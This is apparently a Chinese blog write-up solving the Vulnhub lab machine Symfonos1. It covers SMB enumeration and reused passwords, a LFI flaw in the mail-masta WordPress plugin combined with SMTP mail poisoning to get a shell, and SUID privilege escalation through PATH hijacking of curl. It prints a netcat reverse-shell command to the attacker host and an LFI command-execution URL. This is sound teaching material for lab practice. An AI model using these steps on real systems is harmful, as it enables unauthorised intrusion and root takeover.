Vulnhub靶机:Symfonos1
标签:SMB共享、本地文件包含、邮件投毒、linux提权
0x00 环境准备
下载地址:https://www.vulnhub.com/entry/symfonos-1,322/
flag数量:1
攻击机:kali
攻击机地址:192.168.1.31
靶机描述:
Beginner real life based machine designed to teach a interesting way of obtaining a low priv shell. SHOULD work for both VMware and Virtualbox.
Name: symfonos: 1
Difficulty: Beginner
Tested: VMware Workstation 15 Pro & VirtualBox 6.0
DHCP Enabled
Note: You may need to update your host file for symfonos.local
0x01 信息搜集
1.探测靶机地址
命令:arp-scan -l
靶机地址是192.168.1.41
2.探测靶机开放端口
命令:nmap -sV -p- 192.168.1.41
开放了5个端口,先看一下80端口
就是一张图片,什么也没有。
3.目录扫描
用dirb扫了一下目录,除了index.html什么也没扫出来。
0x02 SMB
从上面的端口来看,靶机上还开放着SMB服务。
SMB(服务器消息块)是一种协议,它允许同一网络上的资源共享文件,浏览网络并通过网络进行打印。它最初用于Windows,但是Unix系统可以通过Samba使用SMB。
通常,服务器上有SMB共享驱动器,可以连接到该驱动器并用于查看或传输文件。对于想要发现敏感信息的攻击者来说,SMB通常可以是一个很好的起点–您会惊讶地发现这些共享中有时包含什么。在极少数情况下,例如当SMB共享目录和Web服务器根目录相同时,攻击者甚至可能利用这种错误配置来实现代码执行。
SMB可以使用Enum4linux和Smbclient枚举。下面使用Smbclient进行枚举,
命令:smbclient -L 192.168.1.41
查看一下helios目录,命令:smbclient //192.168.1.41/helios
需要账号密码
再看一下anoymous目录,命令:smbclient //192.168.1.41/anonymous
这个不需要密码,直接进去了,下面有一个txt文件,下载下来看一下
大概意思是:
请用户停止使用“epidioko”、“qwerty”和“baseball”等密码!下一个使用这些密码的人将被解雇!-宙斯
哈哈,看得出来靶机作者很喜欢古希腊神话。
拿到了三个密码,那就去helios目录试试,用户名就先用helios,命令:smbclient //192.168.1.41/helios -U helios
进去了,密码:helios \ qwerty
在helios下发现两个txt文件,都下载下来看看。
research.txt里面是一个关于太阳神的希腊故事,todo.txt里面提供了一个目录
尝试使用web访问,发现是个wordpress的网站。
如果有些人图片不能正常加载出来,就在/etc/hosts
文件中添加一条语句
0x03 wp插件漏洞——LFI
既然是wordpress CMS,那就用wpscan扫描一下,这里吐槽一下wpscan,经常出现一些莫名其妙的bug,也可能使我菜逼不会配置。
命令:wpscan --url http://192.168.1.41/h3l105/ --plugins-detection aggressive
发现该站点用了4个插件,其中mail-masta插件中有个红色叹号,应该是有漏洞,查一下
命令:searchsploit mail masta 1.0
有两个漏洞,一个SQL注入一个LFI,将文档复制下来,目录在/usr/share/exploitdb/exploits/php/webapps/
看一下漏洞的具体介绍,这里选择使用LFI,LFI的poc:
可以看到因为count_of_send.php文件中写了include($_GET['pl'])
语句,导致include的参数是可变的,而且我们可以控制pl这个参数,所以这里就有了LFI漏洞。下面进行验证:
利用成功了,路径是绝对路径。
做到这里就没有思路了,看了一下表哥的文章,他是利用开放的25端口进行邮件投毒,然后使用LFI运行邮件来getshell。
0x04 邮件投毒getshell
刚才扫描端口的时候还开放着25端口,25端口是邮件协议的一个端口,那就可以邮件投毒然后结合LFI来getshell。
①给helios发送“毒”邮件
连接:telnet 192.168.1.41 25
结束使用:.+QUIT
②结合LFI进行验证
邮件一般存储在:/var/mail/
目录下
语句:http://192.168.1.41/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id
在最下面的邮件已经执行命令并显示了。
既然这样,那干脆再发送一封邮件,直接连一句话。
蚁剑连接成功
0x05 提权
使用find命令寻找有sticky位的程序文件,命令:find / -perm -u=s -type f 2>/dev/null
其中有一个不常见的文件,查看一下文件内容,使用cat
查看乱码了,应该是个二进制文件,使用strings
查看
该文件会调用一些命令,其中就有curl
命令,我们可以利用这个命令来提权。因为该文件会调用curl命令,那我们就可以自己编写一个假的curl命令,当文件调用curl的时候让它调用我们自己写的curl,这样就可以提权。
①创建假的curl命令,给curl执行权限
②反弹shell
在蚁剑中修改环境变量一直不成功,我又反弹shell试了一下,然后修改成功了。。。如果蚁剑中可以修改成功,请忽略本小节,直接看第三步。
说一下反弹shell的方法吧,现在kali中监听端口,这里用7777
在蚁剑中执行反弹shell命令:nc -e /bin/bash 192.168.1.31 7777
反弹成功
切换到shell环境,命令:python -c 'import pty;pty.spawn("/bin/bash")'
③修改环境变量
命令:export PATH=/tmp:$PATH
这样做是为了让文件执行我们自己写的假的curl命令。
④执行文件
提权成功了
flag在/root下
0x06 小结
本靶机开始通过smb共享文件,得到web应用的目录信息,通过web应用中存在的LFI漏洞及靶机开放的25端口,拿到了靶机的shell。最后通过伪造curl命令进行提权,关于这种提权方法,可以参考https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/。
由于我不会每天都登录简书,所以有什么私信或者评论我都不能及时回复,如果想要联系我最好给我发邮件,邮箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果发邮件请备注“简书”
参考链接:
1.vulnhub -symfonos1 (考点:smb & WordPress& LFI & 25 smtp & linux环境变量提权)
2.Symfonos1靶机:Hacking Writeup
3.https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
4.使用Enum4linux和Smbclient枚举SMB
5.Kali Linux信息收集之enum4linux
6.https://0x23b.github.io/posts/vulnhub/2019-08-08-vulnhub_symfonos1_writeup/